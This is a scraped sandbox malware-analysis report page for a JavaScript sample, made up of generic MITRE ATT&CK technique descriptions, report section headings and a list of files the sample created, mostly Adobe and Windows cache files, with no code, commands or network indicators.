Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 205603875166153346.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4f03c55f-c7a6-4763-8f96-33436c3ac67a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6636

Windows Analysis Report
205603875166153346.js